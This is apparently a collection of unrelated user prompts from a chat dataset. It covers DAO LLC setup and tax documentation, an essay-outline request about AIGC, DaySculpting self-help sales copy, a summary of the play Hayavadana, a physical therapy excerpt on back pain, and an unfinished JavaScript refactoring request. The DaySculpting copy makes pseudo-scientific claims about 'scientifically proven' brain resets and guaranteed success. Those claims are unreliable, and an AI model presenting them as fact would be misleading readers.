DAO is already an operating agreement represented by code--an LLC just provides a legal identity to this code to deal with the public. Anonymity is not compromised--membership is not disclosed to the state or anyone. In using Wrappr LLC NFTs, the DAO also is not required to hire any representatives to manage off-chain affairs, providing even greater privacy to DAOs. At the end of the day, the DAO LLC can be converted to another entity structure or discarded at any time by the DAO members, preserving autonomy.\n\n#Opening Bank Accounts\nOpening a bank account and obtaining an EIN for LLCs can be handled by the LexDAO Clinic (opens new window). (Note, you will need an EIN for banking and taxes.)\n\nUsers can also receive their EIN by filling out a basic form online (opens new window).\n\nNote, when you apply for your EIN, you should ensure that the name you apply with clearly denotes that your LLC is a Series LLC and reflects the jurisdiction of formation (Delaware or Wyoming). For Delaware naming, this can be done using the format: [Your Name] LLC, a Series of Wrappr LLC, and for Wyoming, the name attached to your Series operating agreement, such as Wrappr LLC – [Your Name] – Series 1.\n\nMercury (opens new window)also provides a web3-friendly application form (opens new window)to get started and quickly setup banking for LLC DAOs.\n\n#Handling Taxes\nThe maintenance of the Wrappr LLC filings, registered agent and annual State franchise tax is handled by the KALI (opens new window)team for the public benefit. This means that you don\'t need to pay taxes to Delaware or Wyoming on the LLC registration or any other maintenance fees. Your tax obligations will be with regard to your own members and any income generated by your LLC, which will involve filing an annual report to the IRS and preparing K-1s for members.\n\nAnnual reports and issuing partnership K-1s for LLC members can be handled by the LexDAO Clinic (opens new window), or if the LLC wants to be taxed as a corporation to simplify accounting, such filings can be similarly handled and taken off your plate.\n\n#Onboarding Investors\nPurchases of shares in your LLC for investment purposes should respect local law and applicable regulations. It is recommended to retain counsel if the Wrappr LLC is formed for the purposes of raising funds for group investment or to capitalize a team operating the LLC to develop a product or provide services. LexDAO maintains a curated list of counsel (opens new window), with practice areas and jurisdictions for public reference.\n\nWhile automated investor onboarding processes are added to the Wrappr application in partnership with kycDAO (opens new window), users can also take advantage of KALI (opens new window)open source legal forms for self-certification of investors in private sales (i.e., not marketed to general public), provided here (opens new window). If the sale is public and not handled through private marketing to your network, taking advantage of the Wrappr whitelisted minting and transfers is recommended, as well as obtaining a letter of accreditation for each investor, a form of which is provided here (opens new window)and can be filled out by your counsel. If you have more questions do not hesitate to reach out to the KALI team (contact@kali.gg).\n\n[1] "To write an effective research paper outline, it is important to pay attention to language. This is especially important if it is one you will show to your teacher or be assessed on. There are four main considerations: parallelism, coordination, subordination and division."\nURL: https://www.scribbr.com/research-paper/outline/\n\n[2] "An essay outline is essentially an essays skeleton. Its a text representation of an essays thesis and key supporting points. An essay outline serves multiple purposes, including helping its writer organize their thoughts before they start writing, giving readers a quick synopsis of the essay, and acting as a roadmap for the writer to follow as they work through their supporting paragraphs."\nURL: https://www.grammarly.com/blog/essay-outline/\n\n[3] "No matter how many paragraphs you choose to have in your 1000 words essay, it should comply with the three-part outline of the assignment. In other words, your essay should have an introduction paragraph, body paragraphs, and a concluding paragraph. 5. Mind Your Writing Environment"\nURL: https://www.helpforassessment.com/blog/write-1000-words-essay/\n\n[4] "Heres how to write a 1000 word essay in five steps: Step 1: Choose Your Topic The first step to writing a great 1000 word essay is to choose your topic. Make sure to pick a topic that youre interested in, as this will make the writing process much easier. Once youve chosen your topic, its time to start brainstorming."\nURL: https://tutlance.com/learn/essay-writing/write-1000-word-essay\n\n[5] "Here are the steps to write a 1000 word essay easily: 1. Choose a topic The first step is to choose a topic for your essay. This can be anything from a specific event or incident to a broader topic or issue. 2. Research your topic Once you have chosen a topic, the next step is to research it in depth."\nURL: https://www.5staressays.com/blog/essay-writing-guide/1000-word-essay\n\n[6] "A 1000 word essay does not differ from the regular ones only by the number of pages. It requires a more thorough approach to a topic, thesis statement, research, and content choice. In five minutes of reading, you will learn what mistakes a student can commit in such essays, how to avoid them and keep your audience impressed by a long text."\nURL: https://studycrumb.com/1000-word-essay\n\n[7] "In the publication Better Outcomes, Brighter Futures a clear commitment by the Government of Ireland to improving the well-being of children and young people is set out in five national outcomes including one which states that children are active and healthy, with positive physical and mental wellbeing."\nURL: https://gradesfixer.com/free-essay-examples/mental-health-promotion/\n\n[8] "Having a defined outline makes the essay writing process much simpler. It helps you logically present your ideas and saves you from getting stuck with writers block. We have come up with the following guide on creating a high-quality argumentative essay outline with that in mind. What Is An Argumentative Essay?"\nURL: https://essayfreelancewriters.com/blog/argumentative-essay-writing/argumentative-essay-outline/\n\n[9] "Create an outline for a research essay based on the information you found in Lesson 1. Your outline must include a claim, main ideas that support your claim, and details from sources that back up each main idea. As you build your outline, you are free to find new sources and to get rid of old sources that you no longer find helpful."\nURL: https://brainly.com/question/27514296\n\nGenerate an outline for a 1000-word essay based on the following prompt. How will AIGC change the way people create and capture contents online?2/1/2023' -'here is part 1\n\n----\nDaySculpting is a program that that deals with YOUR immediate future….It is a 90 day program that teaches U how to create Success… one day at a time…today…\nUsing recent breakthroughs in the field of neuroscience, the study of the human brain, DaySculpting is one of the most powerful success systems on earth for creating what I call… \n"Your Epic Ideal Day" -- And when U have Epic Ideal Days? U create your EPIC IDEAL LIFE.\n\nDaySculpting is broken down into 3 easy to accomplish segments throughout your day…\n~The Morning Lift Process…which sets U up with a MindState of Success and a design for U to follow throughout your day…There is a morning email…SMS text…Inspiring Video…Future Forward Tuning IN…And a 3 step Success Step Declaration Process…this only takes 15 minutes…\n~Mid-Day Reconnect Process…whatever your miid-day is…U are encouraged to stop doing what U are doing and disconnect so U can re-connect…by listening to a 5-minute Tuning In Re-Connection. We know that somewhere in the middle of our day it’s easy to lose momentum and drift from our best intentions because of all the demands on our attention. It has been scientifically proven that when U disconnent for between 3 to 5 minutes at the midpoint of your day….your brain resets…and your energy is replenished…I like to call it a MindState Re-Boot that will inspire U to re-ignite your imagination…this only takes 5 minutes\n~Highlight And Insight Review Process…we all review our day however what DaySculpting \nanchors for U is an activation and integration process that gets U to see your day as being successful…by celebrating your successes (your highlights) and being present to things U could have improved on (your insights) so U can make your insights into highlights..most people when they review their day fail to celebrate even the smallest increments of success…they focus on what they didn’t do and that puts them in a negative energy…Success has challenges and the\nhighlights and insight process encourages and empowers U to honestly see what U are doing each day so U Sculpt new MindStates Of Success rather than the energy of uncertainty…\nthis takes 10 minutes\n\nThe whole DaySculpting process takes 30 minutes a day…and as I always say if U don’t have \n30 minutes to change your life then U don’t want to change your life and U are okay with living \na mediocre life…\n\nDay Sculpting is about targeting specific Chief Aims U have for your life…and creating the Habits that will get U there…Imagine being able to replace the MindTraps (your limiting beliefs) with empowering rituals and habits that become your new normal…\n\nThrough the repetition of doing the daily DaySculpting process U are carving into your Subconscious memory thoughts, beliefs and actions that result in U sculpting the masterpiece known as U…\n\nThere are many programs out there that attempt to instill new success behaviors however many fall short of actually shifting your MindStates into a frequency of possibility where U get to actually see your daily results immediately…DaySculpting does this…\n\nThis is not science fiction… and it\'s not wishful thinking, or some tired old self-improvement, goal-setting program… DaySculpting is a program that empowers U to manifest and realize your Chief Aims in life\n\n"DaySculpting" -- is a tool that takes just MINUTES a day for you to use…\n\nIt is designed to FREE UP hours in your day… while at the SAME time empowering you for greater success in ANY area of your life.\n\nDaySculpting sheds light and solves an age-old problem:\nWHY we often fight against the very changes we desire to make\n\nHave you ever experienced the FEELING that you deserve MORE out of your life? More financial freedom and greater rewards from the hard work you do every day? Deeper, more empowering relationships with those you love… or maybe just meeting that special someone to share your life with? Perhaps you crave a deeper spiritual connection… or a more healthy, trim, energetic body?… \nYET:\nDespite your BEST intentions… you struggle. Perhaps if you\'re anything like me, you even self-sabotage your results with actions that you KNOW are not in your best interest.\n\nMaybe it FEELS like it did for me: Like you are swimming upstream… making SOME progress, sure, but just not reaching your goals and desires fast enough.\n\nWell, I have wonderful news for you: It\'s not because you\'re lazy… and it\'s not because you are not smart enough, competent enough… or ANYTHING enough! \n\nThe real REASON you desire more and are not seeing ALL the results you deserve lies within whether the Success Switch in your brain is in the ON or OFF position…\n\nThe SOLUTION… THE ANSWER to flipping your Success Switch back ON lies within the simple daily steps U will take when U experience the DaySculpting Program… \nThe Day Sculpting Program Is A Simple Step Daily Success RITUAL \u2028 That Shuts Down Your Body\'s Failure Reflex \u2028 So YOU Tap Into Your Brains Success Centers…\u2028 In Just Minutes A Day!\u2028\u2028 IIMAGINE Knowing What HIGHLY SUCCESSFUL \u2028 People Do EVERYDAY…\nFor Abundance And Wealth, Greater Health, Self-Confidence Meaningful Relationships, Sharper Focus , Deeper Joy…\u2028 And So Much More…\n“Now You Too Can Use This 90-Day Game Changer\u2028 To Tap Into The Key Success Centers Of Your Mind,\u2028 And In Just Minutes You Can Transform Even Lousy Days\u2028 Into Days Filled With The Results You Desire – Guaranteed!”\nTO MAKE A GREAT LIFE, ALL YOU HAVE TO IS MAKE EACH DAY A GREAT DAY … \nThen get up tomorrow and do the same thing, day after day after day.\nARE YOU Ready To Change YOUR LIFE One Day At A Time…\nThe comprehensive, fun and empowering 90-day DaySculpting program provides you with the life skills and tools to help you master a new MindState of Success and a range of powerful life-changing rituals and habits that will Sculpt Your Perfect Days Into A Great Life.\nDAY SCULPTING WILL TEACH YOU:\n• The science behind HAVING A MindState Of Success...and why most people who want more in life actually have their success switch turned off by total accident!\n• How to get more done with more time and more energy left over!\n• The simple, yet powerful, process of building a powerful day so you create a series of "Dynamic Days" - days that will end up building your most incredible life (The one you always thought was out of reach!)\n• Learn the \'Day Sculpting Principles\'. These can have a huge impact on you your life, but when you learn how simple they really are, you can use them easily and consistently!\n• How in just a few minutes a day, you can keep positive results flowing and put your success energy into a permanent \'ON\' position!\n• And much more!\nDaySculpting, is for those who are willing to take their life to the next level by creating new Success Habits replacing the ones that have been sabotaging your success. \nSo make sure you can honestly agree with the following before experiencing DaySculpting:\n• You desire more out of life, yet feel as if you are "missing something" -- that special "X Factor" to take you to the next level?\n• You are brave enough to boldly say, "I want greater wealth and financial freedom... and I demand the best lifestyle possible for me and my family!\n• You know the value of joy: You want to experience greater happiness, peace of mind, and connection with your friends and loved ones on a daily basis.\nIf you agree with the above, and truly want to create the best life possible, with greater wealth, freedom, happiness, love, and fulfillment, then I invite you to experience the power of Day Sculpting …it will change the way you think about creating your day and the life you dream about. \nI am not encouraging you to become busier but rather to use your mental and emotional, energy more elegantly sculpting your day the way you want it to be. \nHow many times have you done a ton of work and still felt that you didn’t accomplish what you really wanted for yourself. Week after week, month after month go by and you still are no farther ahead of the game…stuck in the status quo that never seems to change.\n\nBreaking free means that the status quo of your life has to change… your habits of expectation have to change …your mindset has to change…you have to uncover those old behaviors that have held you back and be willing to create a new mindset.\n\nYou have to be willing to shift your daily focus inwards towards what you need to do today rather than tomorrow. Because when you create a great day today you welcome in a more powerful tomorrow.\n\nWe all have the same 24 hours each day. But why are some people building fabulous careers, achieving healthy lifestyles, enjoying great relationships and incomes, living their passions, and creating what they truly desire as a life?\n\nImagine that you could clear away the distractions that you unconsciously create. You know the stuff that consumes your time causes stress and disconnects you from your purpose and passion. \n\nImagine every day you embrace the energy for what you are choosing to create in your life. Your thoughts empower you, your choices inspire you and your actions create momentum, opportunity and possibility.\n\nYou can create a GREAT LIFE, the life you want to live by focusing your efforts on Creating a Great Day Today. That’s Day Sculpting. Seven intentional sculpted days turn into a month of wonderful weeks and a year of magnificent months creating an amazingly successful life.\n\nNone of this is going to work though if you believe that what you were born with is all you will get…\n\nNo one will ever attempt to do something when they are convinced that they will fail.\n\nResearch has shown that the brain will actually stop itself from doing what’s necessary to succeed if a person believes that they cannot succeed.\n\nIt’s the small concrete indicators of success today that will prove you can have whatever it is you want and the process of Day Sculpting will empowers, inspire and motivates you each step of the way.\n\nYou see: Confidence + Discipline = Desired Outcomes \n\nIt’s time to stop looking at your life from a fear based I don’t know how to mindset but rather be open to creating a solutions focused change consciousness that embraces your gift and talents and encourages you sharing them.\n\nLet me share a bit of nuero-chemistry with you…\nWhat fires together wires together…\n\nSo rather than Fall back on old habits…\nTake the transitional step…of being fully present to whats trying emerge as your ideal future and to help it along start building confidence each day…\n\nAnd your possibility muscle and an intended thought process that leads to a more focused and clear out picturing of your desires.\n\nYou see...It’s one thing to set goals and to make to do lists and to say your going to use the law of attraction to manifest what you want in life…\n\nI’m still looking at the many lists I have created.\n\nWhat it’s really about is having a clear and purposeful intention in order to create the energy and the MindState Of success that will propel you into action.\n----\n\nWhen done ask me for part 2' -'Context:\nAct - I\nThe play opens with worship to Lord Ganesha. Bhagwata comes to the stage. He is a character in the Play and also is the narrator of the play. He seeks blessings from Lord Ganesha for the successful performance of the play. Through his narration, he takes the audience to a place, called as Dharampur and introduces the audience to the king Dharmsheel. Then he puts up some rhetorical questions on incompleteness of man and God; and also on the perfection of a man. During his narration, he introduces two characters who are mutual friends. The first one is Devdutta. He is a sharp minded and highly intellectual person. He has defeated poets and Pandits with his knowledge. He is a son of Brahmin. The second one is Kapila. He is a muscular man. He has a great physical strength and he is a son of Lohar (Black Smith). Both Devdutta and Kapila are in contrast as the former lacks power and strength, the latter lacks knowledge and intellectual. According to the playwright, the head of Devdutta (knowledge) and the body of Kapila (physical strength) accomplish a complete man. The narrator compares their pair to the pair of Ram-Laxman, Luv-Kush and Krishna-Balram. All these are the pairs of great brothers in Hindu mythology.\n\nA character, Actor-1 appears on the stage shouting and running towards Bhagwata. He tells Bhagwata that he has just seen a strange creature that looks like a horse (by face) but speaks like a man. That creature has the head of a horse and the rest of the body of a man. Without paying any heed to his talks, Bhagwata asks him to get ready for the play. But he runs away from the stage and soon after he comes back shouting again. Now a strange creature appears on the stage. As earlier described by the Actor-1, the creature has the head of a horse and the body of a man. For a moment, Bhagwata thinks that someone is wearing the mask of horse. He tries to remove the mask but realizes that it is truly half a man and a half horse. Now the creature starts to introduce itself before Bhagwata, Actor-1 and the audience.\n\nThe creature introduces himself as Hayavadana and starts to narrate his story. He tells that once upon a time, a princess had to choose a groom for her marriage. So many Princes approached from far and wide. But the princess fell in love with a horse of an Arabian Prince. She became desperate to marry that horse. Eventually her parents allowed her to do so. She was married to the horse. After 15 years of their marriage, the horse transformed into a celestial being. Now the princess rejected him as her husband. That celestial being cursed her to be a Mare (female horse) and she became so. The princess give birth to Hayavadana. Now Hayavadana wants to get rid of this cursed life. Bhagwata asks him to go to goddess Kali temple in chitrkut. He also asks the Actor-1 to accompany him on the way. They leave.\n\nNow Bhagwata moves ahead with the story of the play. Devdutta and Kapila appear on the stage. Devdutta tells Kapila that he wants to marry a woman, namely Padmini. With utmost desire to marry Padmini, he pledges to sacrifice his arms to Goddess Kali and his head to Rudra. Kapila goes to Padmini and presents the Proposal to marry Devdutta. Devdatta and Padmini Marry. By the time, Devdutta realizes that Padmini is attracted towards Kapila and vice versa. Now Padmini is pregnant. Devdutta knowingly tries to put off the program of visiting Ujjain. He tells Kapila that Padmini is ill. But Padmini gives her consent before Kapila. They all three leave for Ujjain. Padmini repeatedly praises Kapila\'s physical strength before Devdutta. Devdutta feels jealous but he does not blame Padmini. Kapila and Padmini go to Rudra Temple but Devdutta denies to accompany them. Devdutta knows that Kapila has such a physical strength and beauty that any woman can get attracted towards him. Devdutta goes to goddess Kali temple where he reminds himself of his pledge to sacrifice his head to the Goddess Kali. He Wishes for the Wellness of Kapila and Padmini. He beheads himself with a sword and dies.\n\nMeanwhile, Kapila and Padmini come out of the temple. Kapila gets worried on finding Devdutta nowhere. He leaves Padmini and starts searching for his friend. Finally he reaches in the same Temple and feels shocked to see his friend dead. He feels himself responsible for all this. Kapila takes the same sword and beheads himself. Soon Padmini reaches there and she has no clue how they got died. She considers herself responsible for the duel between the two friends and their deaths. She provokes the Goddess Kali and also tries to kill herself. The Goddess Kali appears and stops her. The Goddess asks her to place the heads with their respective body so that the Goddess will re-join them with her magical powers and bring them back to life. The Goddess also appreciates the two friends. Padmini follows the command in a hurry. The Goddess disappears. Padmini, being thankful to goddess kali, gets a bit relaxed. But soon she realizes her mistake. She has mistakenly placed the heads with irrespective body. So now Devdutta\'s head is joined with Kapila\'s body and vice versa. Soon they regain their senses. For a moment, the two friends are confused. Both make a claim for Padmini. The man with Devdutta\'s head, makes a plea that head is the master of the body. So he has the right over Padmini. The man with Kapila\'s head makes a plea that Padmini has remained with Devdutta\'s body. So he has the right over Padmini. Meanwhile Bhagwata, the narrator, comes on the stage. All the characters become statues for a moment and the narrator addresses the audience. He asks them to think of a solution to this problem. Act 1 ends.[7]\n\nAct - II\nThe act begins as the narrator repeats the same question- " What is the solution? ". He also talks about the story of ′Vikramaditya and Betaal′ [8] where the king Vikrama replies to Betaal that the mind (head) is the master of the body. It is head that gives recognition to an individual. Bhagwata tells that they all three go to a hermit seeking solution for this problem. The words of hermit are heard on the stage that Devdutta\'s head is the Swami (husband) of Padmini. Devdutta and Padmini accept this in delight. Kapila, being disappointed, leaves for the forest. The time passes. Devdutta brings some dolls. These dolls also play the role of narrator. He starts losing his physical strength and as a result they are losing mutual interest. A child is born. Devduta goes to buy new dolls from the fair in Ujjain. Bhagwata again appears on the stage and tells that Kapila has regained his physical strength. Padmini meets him in the forest and also tell him that it is Kapila\'s son as it is born from Kapila\'s body. But Kapila does not accept it. Being a little reluctant, they get ready to fulfill their physical desires.\n\nIn search of his wife, Devdutta reaches there in the forest. Finding them together, he finds himself the similar situation as he was before. To put an Ultimate end to this problem, Devdutta takes out the sword and challenges Kapila for a duel. Both gets killed. Padmini finds herself lonely. Bhagwata comes there and she hands him over the child and the same dolls. She asks him to hand it over to Devdutta\'s Brahmin father Vidyasagar after five years. She leaves the stage by declaring that she is going to perform Sati. Bhagwata decides to end the play with his speech. A loud shout is heard on the stage. Actor-1 comes and claims that he has heard Hayavadana chanting National Anthem and patriotic songs. Then Actor-2 appears with Devdutta\'s son of age 5 now. The boy has two dolls. Hayavadana comes there. Bhagwata and Actor-2 are talking lightly and creating fun. They all starts laughing. That boy too starts laughing and the dolls slip out of his hand. Bhagwata says that the boy hasn\'t expressed any emotions of happiness, anger, sorrow in past 5 years. Today he is smiling just because of Hayavadana.\n\nNow Hayavadana tells his story. when he was trying to behead himself in the temple, the goddess Kali appeared. Hayavadana tells his desire. The goddess Kali without listening to him fully, gives him blessings. Hayavadana becomes a complete Horse instead of becoming a complete man. Yet he is satisfied. He still has ability to speak like a man. He wants to lose this voice. He is singing national Anthem as he believes that people who sing national anthem, lose their voice early. Meanwhile he sobs. The boy starts singing a tragic song which was chanted by his mother, Padmini. Hayavadana tries to laugh and his voice completely changes into a horse\'. Now Hayavadana is a complete horse.\n\nBhagwata asks the Actor to go to brahmin Vidyasagar and inform him that his grandson is coming to him, riding on a great horse. Bhagwata thanks Lord Ganesha for the successful performance of the play.\n\nAim: Write a critique and summary without revealing the entire story' -'Sally’s basic problem, in my view, is behavioral. That is, she has not been taking care of herself while she has been taking care of business. She has put on a ton of weight, to begin with, which hasn’t helped. And she has had a lot of pain. Interestingly (and familiarly to me), the fear of its onset has been almost as bad as the pain itself. That hasn’t helped her business either, she says. Like Fit Fred, she reads off the list of things her medical doctor says are wrong with her with something approaching pride. And, sure enough, the list goes on for quite a while. She has central stenosis, foraminal stenosis (that’s what the second operation was for, but it’s back), bone spurs (bony growths like calluses, but on the bone), and good old spondylolisthesis (a slippage of one vertebra over another, which hurts). \nOf the four surgeries she has had, the most recent two, the fusion and the laminectomy, relieved some of her debilitating leg and foot pain for a while, but serious back pain remains, along with intermittent bouts of buttock and leg pain when she walks. We talk about her postsurgical physical therapy. It helped somewhat while she was doing it but the lower back pain always came back. Now everything she does hurts. Walking, sitting, standing, you name it. She scoffs when I ask about resuming an exercise regimen. “That, sir, is impossible.” Well, we’ll see.\nI start by asking her to get up on the table and lie on her back. Not so fast, she says. That is almost beyond her. She weighs an awful lot and every move hurts. It is not easy for her to get on the table, and she doesn’t like it. I help her, but I weigh only about 150; I can see her thinking to herself, “Maybe a bigger therapist?” But we get there. Once she settles into the position on her back, I ask her to bend her knees and put her feet flat on the table. Same thing I told myself to do, that day of my back spasm. It hurts, she says. I ignore that, and tell her to move her legs up and down as if marching in place, bringing the knees up toward the torso. Does this make your back hurt? Of course it does. But—sneaky, I know—she is getting used to the idea that I think it’s going to be possible for her to move in this position, which is true. Okay, I say, let’s lessen the range of motion a lot. Now just barely lift your feet off of the table. Does this make your back hurt? Yes. Growing frustration. \nNow I shift gears and, for the next fifteen minutes, I talk to her about finding her neutral spine. She does. Then I ask her to tighten the muscles in her abdomen, which—God bless her—she finally does. I’m getting off track and talking a bit about the beginning of therapy, I know, but therapy and diagnosis are inseparable in her case. \nThen I have her do the marching in place again, but with those muscles engaged. Does that hurt? “No,” she says with surprise. And darned if she doesn’t brighten a little. A wisp of pleasure or relief comes across her face. Huh! \nI tell her that she has just crossed the Rubicon. We have begun on the road to a cure. It is going to be long and hard, but my guess is that we are going to get there. “Yeah?” she asks, not daring to believe it. \n“Yeah,” I say, “I believe we are. No guarantees and a lot of work for you. But my guess is that you’ve been a worker all your life, that you’ll work at this and that you will make it. Yes.” She is plenty skeptical, but she smiles, too. \nI explain that if she can move her legs without pain in her back while lying down then she can eventually do it upright. And that is called walking. It has been a while since she was able to walk without pain, and there have been plenty of days when she couldn’t walk at all. I push her to do a little more, but that little march is all she can do for now. Fine, that’s where we start. \nThere can be a serious, psychological component in all this, and it was very serious indeed with Sally. She had become deeply scared of movement. Any and all movement because any movement hurts. Her default solution has been not to move at all. Worse than that, her real solution in recent times has been to sit on the sofa and drink quite a bit of white wine. It worked, in a way, but was disastrous, too. It has given her this hideous weight problem. It hasn’t made her very good company, and it has been brutal for her business. But she didn’t hurt when doing that. So she sat on the couch for many hours a day, doing some business and quite a lot of drinking. My complicated task—and the book may not be much help on this one—was to wean her from the sofa-and-wine solution and get her into the movement solution. I was cautiously optimistic. Justifiably optimistic, it turns out. She is a proud woman and had a right to be. I thought that that fact and the early easing of pain just might do the job.\nSally and I have been at it for six months and she has done remarkably well. We are not there yet, but she has made terrific progress, her spirits are much improved, and her drinking much abated. Six months into our work, she is walking with her spouse around the neighborhood at night without much pain. She is playing with her grandchildren. She is going to the movies. She goes to the office rather than having everything brought to her at home. And she is doing serious (for her) strength training! She sees all this as a near-miracle and is charmingly grateful. Is she totally pain-free? No. She may never be. Does she have her life back? Yes, quite a bit of it, anyway. I want to see her make more progress. She thinks what has happened thus far is extraordinary.\nTHE GATEWAY THEORY OF PAIN \nHere is a little anecdote about the walking-in-place solution with which so many cures begin. A big reason for the reduction of pain is that tensing the abdominal muscles in the right way keeps the spine from moving and causing irritation. But, another reason is that it is a simple distraction from pain, to get the patient to focus on movement. We have gateways or pathways over which pain moves to the brain, and they have a limited capacity. One of the things about the walking-in-place phenomenon is that the “reports” of this activity to the brain take up a fair amount of neural space and block the gateways. There is less room for the pain reports to get through. So they don’t. Some do, of course, but fewer. Thus, the simple business of walking-in-place, which serves many functions, blocks the pain highway and lessens the sense of pain. Sounds trifling but it works. It’s like the nurse pinching the spot where she’s going to give you the shot: she wants to keep you busy. Your neural pathways, anyway.\nRegular Robert \nOn the fitness scale, Regular Robert was somewhere in the middle. In terms of his lifestyle and temperament, he was a lunatic. Like a lot of my patients here in Aspen, he is successful, a strong alpha personality, a serious workaholic, and a handful. He thinks he’s a fitness guy but his idea of fitness is getting on the treadmill for forty-five minutes a day while reading his emails. This is not my idea of fitness; this is my idea of fooling around. And it is largely useless for someone with real back issues. The rest of his day is spent in intense meetings, traveling, and (especially) bent over his computer. Recently, he has had a relatively sudden onset of pretty serious lower back and buttock pain. It is nowhere near as severe as what I had or what most of the other people in this chapter had, but it’s serious enough, and he’s not liking it one bit. So here he sits, in my office, looking cranky. Everyone I see looks cranky. \nI listen to his story and determine it is likely a bulging lumbar disc. Do you remember those terms? Lumbar means lower back, where almost all back pain resides. And a disc is a disc. The reasons behind my conclusion are fairly straightforward and you can probably follow the analysis yourself, if you have similar problems. By asking him to move some, I find that he gets more pain with flexion (forward bending at the waist), sitting, and lifting. The pain eases with standing, extension (backward bending at the waist), and moving. The pain radiates down into his buttocks and can go from severe to almost nonexistent in the same day. The pain is more severe in the back than in the buttock or leg. I believe that it is a bulge (the outer fibers of the disc are still mostly intact) and not a herniation or rupture because the pain would be more severe if it were a rupture, and it would likely be radiating down his leg. \nThe pain is positional, meaning it gets better or worse depending on the position he is in. The pain goes from fairly intense to fairly mild, sometimes within hours, and he is not complaining of any numbness in his leg or foot. When the disc is herniated, it is common for the pain to be constant regardless of position and there is apt to be accompanying numbness or tingling in the foot or leg. The pain is also commonly the most intense in the leg or foot and not the back. I tell him I think he has a bulging disc and I explain just what that means. Type A guy that he is, he immediately wants to talk about surgery—about getting this fixed! Right now. “How bad is the surgery? How long is the recovery?” he asks. “Who should I use and how soon can I schedule it?” \nI tell him to chill for a minute; we are nowhere near that point yet. There are various stages of disc dysfunction, I tell him, and his does not look that bad to me. I say this because my exam shows no neurological damage. Here’s what I mean. I tapped his Achilles tendon and his foot jerked sharply, a sign that there has been no nerve damage in that area. I do the same with his knee (the same spot your doctor taps when you have a physical): same result. His reflexes are normal, so likely no nerve damage. His strength is within normal range, too. \nIf you have even a hint of “radicular” pain—pain that goes down your leg—you should see a medical doctor. It could be pain from an irritated nerve root (which can be serious) or it could be referred muscular pain. The analysis is a bit too complicated to cover in a book. In any event, I conclude that Regular Robert has not suffered any motor nerve damage because of nerve compression and he has not suffered any loss of strength. In the absence of serious motor function or nerve loss, surgery is seldom called for. \nLet me repeat this: Self-assessment gets tricky when it comes to muscle and nerve loss. If you sense that you are anywhere near that territory, especially if you have possible radicular pain (pain going down your leg), you should get professional help, probably a medical doctor. \nRegular Robert does not have nerve or muscle loss so he is not likely to have suffered a herniation. He is lucky, in a way, to have come in with this problem at this stage. It will give him a not-so-gentle kick in the pants to take spine health seriously. And it will give me a chance to offer him major relief, if not an outright cure. If he is serious and does what he must.' -"convert this switch case to hashmap in js\nkey should be the event name, and value should be the returned object\nswitch (eventName) {\n case 'launch\\_screen\\_astrozodiac':\n return {\n eventtype: EVENT\\_TYPES.SCREEN\\_OPENING,\n scrname: SCREEN\\_NAMES.LAUNCH,\n description: 'User lands on the welcome/launch screen',\n };\n case 'click\\_signup\\_initiated\\_astrozodiac':\n return {\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.LAUNCH,\n description: 'User clicks on the on the continue button of welcome/launch screen',\n };\n\n case 'mobile\\_no\\_screen\\_astrozodiac':\n return {\n description: 'User lands on the mobile number screen ',\n eventtype: EVENT\\_TYPES.SCREEN\\_OPENING,\n scrname: SCREEN\\_NAMES.ENTER\\_MOBILE,\n };\n\n case 'mobile\\_no\\_continue\\_astrozodiac':\n return {\n description: 'User Submits Mobile No',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.ENTER\\_MOBILE,\n };\n\n case 'otp\\_screen\\_astrozodiac':\n return {\n description: 'User lands on the otp screen',\n eventtype: EVENT\\_TYPES.SCREEN\\_OPENING,\n scrname: SCREEN\\_NAMES.ENTER\\_OTP,\n };\n\n case 'resend\\_otp\\_astrozodiac':\n return {\n description: 'User clicks on Resend OTP',\n eventtype: EVENT\\_TYPES.BACKEND\\_EVENT,\n scrname: SCREEN\\_NAMES.ENTER\\_OTP,\n };\n case 'signup\\_started\\_astrozodiac':\n return {\n description: 'User starts sign up process and clicks on continue on the OTP screen',\n eventtype: EVENT\\_TYPES.SCREEN\\_OPENING,\n scrname: SCREEN\\_NAMES.ENTER\\_OTP,\n };\n case 'basic\\_details\\_screen\\_astrozodiac':\n return {\n description: 'User lands on the basic details screen',\n eventtype: EVENT\\_TYPES.SCREEN\\_OPENING,\n scrname: SCREEN\\_NAMES.BASIC\\_DETAILS,\n };\n case 'continue\\_with\\_name\\_astrozodiac':\n return {\n description: 'User enters the first and last name',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.BASIC\\_DETAILS,\n };\n case 'continue\\_with\\_email\\_astrozodiac':\n return {\n description: 'User enters the email ID',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.BASIC\\_DETAILS,\n };\n case 'gender\\_select\\_astrozodiac':\n return {\n description: 'User selects gender',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.BASIC\\_DETAILS,\n };\n case 'continue\\_with\\_dob\\_astrozodiac':\n return {\n description: 'User enters the date of birth',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.BASIC\\_DETAILS,\n };\n case 'continue\\_with\\_tob\\_astrozodiac':\n return {\n description: 'User enters the time of birth',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.BASIC\\_DETAILS,\n };\n case 'continue\\_with\\_pob\\_astrozodiac':\n return {\n description: 'User enters the place of birth',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.BASIC\\_DETAILS,\n };\n case 'click\\_submit\\_details\\_astrozodiac':\n return {\n description: 'User clicks on submit details',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.BASIC\\_DETAILS,\n };\n case 'signup\\_cancel\\_popup\\_astrozodiac':\n return {\n description: 'User sees the pop up of canceling the signup',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.BASIC\\_DETAILS,\n };\n case 'signup\\_cancel\\_astrozodiac':\n return {\n description: 'User clicks on yes in the pop up of canceling the signup',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.BASIC\\_DETAILS,\n };\n case 'click\\_profile\\_astrozodiac':\n return {\n description: 'User opens the profile screen',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.HOME,\n };\n case 'profile\\_astrozodiac':\n return {\n description: 'User lands on the profile screen',\n 